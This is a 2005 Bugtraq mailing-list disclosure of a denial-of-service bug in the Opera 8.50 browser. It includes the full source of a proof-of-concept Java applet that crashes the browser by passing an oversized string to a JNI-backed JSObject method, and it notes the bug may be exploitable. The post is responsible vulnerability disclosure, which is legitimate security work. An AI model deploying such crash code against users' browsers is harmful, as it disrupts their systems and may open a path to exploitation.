Bugtraq mailing list archives
Opera 8.50 DoS with simple java applet
From: Marc Schoenefeld <marc.schoenefeld () gmx org>
Date: Wed, 30 Nov 2005 00:31:29 +0100
Hi y'all, it is possible to crash the opera 8.50 browser with a simple java applet (see below). This was observed on Win32, Linux versions maybe affected, too. This can be tested only at: http://www.illegalaccess.org/exploit/opera85/OperaApplet.html As you can see the applet crashes at 0x67c0a54c. This is caused by a bug in a JNI routine implementing the com.opera.JSObject class. It cannot be ruled out, that this bug is exploitable. The opera guys were informed on the 21st of September, and then again on 8th of October. Please upgrade to the new Opera 8.51, which does not expose this weakness. Sincerely Marc Schönefeld marc () illegalaccess org
import java.applet.Applet; import java.awt.Graphics; import netscape.javascript.JSObject; public class OperaTest extends Applet{ static { System.out.println("Loaded 1.2"); } public void paint(Graphics g) { System.out.println("start"); try { netscape.javascript.JSObject jso = JSObject.getWindow(this); System.out.println(jso.getClass()); com.opera.JSObject j = (com.opera.JSObject ) jso; char[] x = new char[1000000]; for (int y = 0 ; y < x.length; y++) { x [y] = 'A'; } String z = new String(x); System.out.println("after evalb"); j.removeMember(z); System.out.println("after remove"); } catch (Exception e) { e.printStackTrace(); } } }
Current thread:
- Opera 8.50 DoS with simple java applet Marc Schoenefeld (Nov 30)
- Re: Opera 8.50 DoS with simple java applet Edward D Wiget (Nov 30)